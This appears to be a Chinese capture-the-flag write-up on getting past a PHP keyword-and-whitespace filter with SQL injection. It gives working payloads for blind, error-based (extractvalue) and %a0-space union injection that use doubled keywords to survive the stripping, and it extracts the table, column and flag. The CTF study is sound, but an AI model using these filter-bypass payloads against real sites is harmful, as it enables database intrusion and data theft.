使用 php 的正则匹配过滤了所有空格(\f\n\r\t\v) ； /*，-- ； union、select、and、or

由于过滤了所有能代表空格的符号，因而使用括号来规避。此时**无法使用 select 1，2，3** 的方式定位回显。

一、盲注

因为 select 查询 schema_name 返回的结果超过一行时会报错，然而使用 limit 0,1 或是 limit offset 无法规避空格，因此可以使用 group_concat，使得回显的数据仅有一行：

1')&&(mid((**selselectect**(group_concat(table_name))from(in**foor**rmation_schema.tables)where(table_schema=database())),1,1))> 'm'#

1')&&(mid((**selselectect**(group_concat(table_name))from(in**foor**rmation_schema.tables)where(table_schema=database())),1,1)) < 'm'#

依次猜解表名、列名、字段的每一位，可以借助脚本快速搞定。

二、报错注入：

1）

')||extractvalue(1,concat(0x7e,database(),0x7e)) #

得到数据库名：Car01eAndTuesday

2）

')||extractvalue(1,concat(0x7e,(selselectect(group_concat(table_name))from(infoorrmation_schema. tables)where(table_ schema =database())),0x7e)) #

得到数据库的表：N0_Ga3E_N0_1ife

3）

')||extractvalue(1,concat(0x7e,(selselectect(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='N0_Ga3E_N0_1ife')),0x7e)) #

得到表的列名：0ne9unch3an

4）

')||extractvalue(1,concat(0x7e,(selselectect(group_concat(0ne9unch3an))from(N0_Ga3E_N0_1ife)),0x7e)) #

得到 flag

报错注入有长度限制，后几位可以利用 mid 来截取再猜解。

本来应该是这样的……然而服务器的 apache 版本很神奇，无法匹配过滤%a0（html 中的不间断空格字符），于是用最基本的 SQL 语句也能绕过：

')ununionion**%a0**seselectlect%a01,group_concat(table_name),3%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema=database()%23#

唉！抹泪